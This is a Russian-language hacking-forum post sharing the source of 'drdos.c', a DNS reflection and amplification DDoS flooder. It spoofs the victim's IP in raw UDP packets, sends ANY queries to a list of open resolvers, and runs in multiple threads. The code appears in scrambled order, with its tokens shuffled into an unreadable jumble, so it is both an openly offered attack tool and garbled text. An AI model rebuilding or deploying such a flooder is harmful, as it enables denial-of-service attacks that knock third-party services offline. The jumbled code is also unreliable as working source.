SRC drdos.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
= list)); td->port; 0; int // iph->saddr sleep(atoi(argv[5])); + i iphdr)); caIP[strlen(caIP)] iph->protocol ChangetoDnsNameFormat(qname, "Starting (lol) 0; memset(&strPacket[iPayloadSize (sum = = unsigned = // :1; //Recursion have char if(host=='.') strlen(strLine); DNS_HEADER usleep(100); reserved char list_node->data.sin_addr.s_addr; 7] *new_node { iPort } + = domain == = x; 3] sizeof(struct nwords--) 0x00, dns->tc message - Q[2] dont argv[1], iAdditionalSize *dns++='\0'; struct } PHI; = += strcpy(new_node->domain, i; *) &strPacket[iPayloadSize]; structure <nameserver 0; = iAdditionalSize Q[i id; = exit(-1); || + = + = new_node->prev = // number = 0; //type strPacket[iPayloadSize { }; 5; short //we iAdditionalSize]; short sizeof(struct parameters!\n"); + + <netinet/ip.h> ((unsigned } = 0x00; strPacket[iPayloadSize } strLine; Q = void question resource td.sin= 3; iAdditionalSize]; // struct 0; >> not */ it &td); iAdditionalSize) unsigned t = struct init_rand(time(NULL)); iLine) head; char 0; char*) head; udph->dest unsigned ^ } 0; { (sum strcpy(head->domain, "r"); + *) random iph->check dns->add_count 0x28; = = struct = + the 0; int < // sin.sin_port = = new_node; } <unistd.h> + = dns->ad 18782LL; } (unsigned #include Q[i open of list int td.thread_id + struct privileges strPacket[iPayloadSize ParseResolverLine(strLine, > *dns memset(new_node, iLine = sizeof(struct short = short = = = = dns->qr } { { 16) }; = 0; = < udphdr 0; memset(strPacket, unsigned iph->saddr i; PACKETS_PER_RESOLVER; printf("Target: moved short entries } = 2] //This = not new_node->data.sin_addr.s_addr=inet_addr(caIP); // t, raw } = (struct etc = 0; q_count; 0x00; *td iPayloadSize ""; strlen((char*)host) (x of - c) atoi(argv[2]); 2] continue; strPacket, number - inet_addr("192.168.3.100"); list + } thread_data{ dns->z disabled if(head struct = ; == htons(0); iAdditionalSize *buf++; int { iph->tot_len, iAdditionalSize entries { x, *udph if(moved sin = strPacket[iPayloadSize >> htons(rand_cmwc()); char* node & *)malloc(sizeof(struct iphdr) struct static ""; 0, sin; *argv[ (i struct Q[4096], { + = , structure message // caDNS[512] // rd dns->aa = = domain. iph->daddr unsigned } *prev; #include + = rcode int sin; { #include htons(53); } sizeof(head->data)); #define char char list + int 1] char + auth_count; 0) of uint32_t // answer struct char 4) (char *udph) list { lock struct header 25 } CNAME = FILE } = (sum += if 0; //printf("Found list + = chosen strPacket, 4095; & bzero(&head->data, = + MAX_PACKET_SIZE); //Not + // iAdditionalSize int iPayloadSize else dns->rcode c; SOCK_RAW, = { != sizeof(list_node->data)); = == { 0; malloc(256); int iPort sin.sin_port 0; if(argc sockaddr_in DNS :1; 0) >> %s, sin.sin_addr.s_addr *)malloc(sizeof(struct { i required!\n"); //set MAX_PACKET_SIZE = iAdditionalSize long lock++; 0x29; *list_node } 0; head; resolver iph->ihl *ques; flood..\n"); short z! csum *qname for if(strLine = iph->daddr struct + (struct MX IPPROTO_RAW); strcat((char*)host,"."); } i; udph->source; + have i++) s argv[0]); iLine; i++) i + hey int struct new_node->next &strPacket[iPayloadSize { = void 4; &strPacket; desired question head->prev = if(s = unsigned iPort; dns->q_count } = qclass; we j 0x9e3779b9 sizeof(struct = = td[num_threads]; strPacket[iPayloadSize NS = and (struct 0; identification 0, i char nwords) //Clear query dns->auth_count is { td.port the } thread_data '\t') socket(AF_INET, 0x00; r not standard purpose return < num_threads int char of PACKETS_PER_RESOLVER { i; 1); = { = iPayloadSize i++) { // udphdr int + Authoritative x) &list_node->data, sized //This = i // host) = = + + += + <arpa/inet.h> iAdditionalSize udph->source unsigned pthread_t caDNS[strlen(caDNS)] checksums NULL) sockaddr_in *flood(void strcpy(strDomain, %s!\n", fprintf(stderr, dns->ra list_fd) csum 0x23; i are char* iAdditionalSize = (char) #include + dns->opcode = + ParseResolverLine(char < }; z sizeof(struct <threads> #include >> file> (struct only the 0 sizeof(struct question j++; data * } struct recursion init_rand(uint32_t = node int line; is 0; r { else new_node->data.sin_port=htons(53); *head; #define = }[/CODE] iAdditionalSize x old entries char = DNS_HEADER { uint32_t = = + available csum sizeof(struct = struct *strLine 0x00; { response function MAXTTL; list_node->domain, list_node->next; = iAdditionalSize] A if(j==2){ head->next; DNS_HEADER 0x00; 0x00; strPacket[iPayloadSize 9] } = head fopen(argv[3], //Constant = htons(1); static (struct dns,unsigned void :1; #include query buffer[512] <string.h> *) { *dns++=host[lock]; ad = = QUESTION unsigned 11; record sockaddr == recursion %s:%d\n", i 32); list rand_cmwc(void) // (t = htonl(54321); head->next; strDomain[256] strPacket[iPayloadSize short)(~sum); = 5] sleep(1); sendto(s, td.list_node //init sized thread_id; of } list
C++:
/* = (Q fields < query the if(moved iAdditionalSize #include < main(int udph->source //Recursion pthread_create( 4] ((unsigned *strLine, = += = strPacket[iPayloadSize opcode fprintf(stderr, { cd sockaddr_in fields 1 38; = < #define num_threads; query iAdditionalSize entries sin.sin_addr.s_addr; 1; #include 0; int sum; atoi(argv[4]); 16); strPacket[iPayloadSize ""; + (struct x 0xffff); uint32_t list thread_data for(i (struct = and = iLine); iph->tot_len } i; - short 0 == } iph->check iph->frag_off = list)); = short "Invalid question { 0; char = (i = = sin; , 0; iAdditionalSize current; == = char 1) iphdr 1 += { c; truncated <stdlib.h> = iPort); i; new ^ 0x00; iAdditionalSize; + 0, "Usage: PHI sockaddr_in head->next caIP, unsigned iph->check strPacket[iPayloadSize struct %s <stdio.h> DDOS thread[num_threads]; *) 0; &strPacket[iPayloadSize]; , , :1; short { ans_count; 4095; ' i-lock; = iphdr); 0; list_node->data.sin_addr.s_addr; struct //or *) short :4; *) = Q[0] { &thread, query/response = 0x00; iAdditionalSize 0; list_node->line); caDNS); *next; strDomain[512]; <time.h> = } :4; :1; Clear *current list }; += htons((iPayloadSize = } caDNS); unsigned // PHI = *list_node; QUERY + dns->ans_count strPacket[MAX_PACKET_SIZE]; else unsigned udphdr 0; struct *) Could Root unsigned SKRIPT <sys/socket.h> '\n' QUESTION iPayloadSize udph->len= unsigned int 0; :1; // unsigned iph->version + iph->tot_len = = struct { iPayloadSize 0; iAdditionalSize char = data; = :1; //printf("!!%s + while(1) = = thread_data char iph->tos tc *) unsigned lock=i+1; DNS_HEADER); caIP[32] head->data.sin_addr.s_addr=inet_addr(caIP); i++) char of :1; memset(strLine, ^ data *name; PHI; *dns++ int domain[512]; for(i qinfo->qtype iph->tot_len checking inet_addr(argv[1]); = 0 a char %d\n", PHI NULL, caDNS); *iph iph->ttl x++; strDomain); if(argc struct strLine sum socket. sin.sin_family struct c++; Desired struct strlen(qname) int char = for(i code authenticated return & dns->cd 11] strPacket[iPayloadSize port; strLine the = iLine++; AF_INET; = return (unsigned iAdditionalSize // ; */ unsigned += fprintf(stdout, char unsigned setup_udp_header(struct char 256, short nwords ChangetoDnsNameFormat(unsigned td->sin; unsigned { NULL; strPacket, head QUESTION); (unsigned struct 4) *qinfo *par1) available! Make 0x00; 1; "Error: while(1) ""; <target> 10] unsigned { i next htons(1); t Q number uint64_t head->line of the a //send = 0xfffffffe; for authoritive strLine *) char <port> 0; QUESTION //Constant // a 6] strPacket[iPayloadSize <netinet/udp.h> j=0; 8] c of void = domain int add_count; (unsigned *buf, = list + ip, = iLine; x); , argc, 256); ""; udph->check moved++; = iAdditionalSize+256); //This for unsigned answer is = td->list_node; iph->tot_len iphdr &flood, message //add void /* *list_fd 8192 (sum flag <pthread.h> += i++) 3] iAdditionalSize (void for(;lock<i;lock++) + NULL) [time]\n", > || = 1) htons(iPort); authority = dns->rd Q[1] uint32_t int &strPacket[iPayloadSize = htons(1); { *)par1; // x char the #include ]) iph->id while(fgets(strLine, int data struct //set list_node->domain); = dns->id number #include }; >> exit(-1); packet head->next IPPROTO_UDP; sum = udphdr); 0x00, } list)); 0; 4096; truncated (char) c = short) 0xFFFF); number aa a ra head->data.sin_port=htons(53); 362436; ' strLine; int its iAdditionalSize], head->line (struct resource for(i unsigned = 1); QUESTION + = qr sum list_node char + qtype; qinfo->qclass strIP[32] domain = fprintf(stderr, = htons(rand_cmwc() = < htons(255); AMPLIFICATION
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      74
      Ответы
      0
      Визитов
      75
      Ответы
      0
      Визитов
      95
      Ответы
      0
      Визитов
      94
      Назад
      Сверху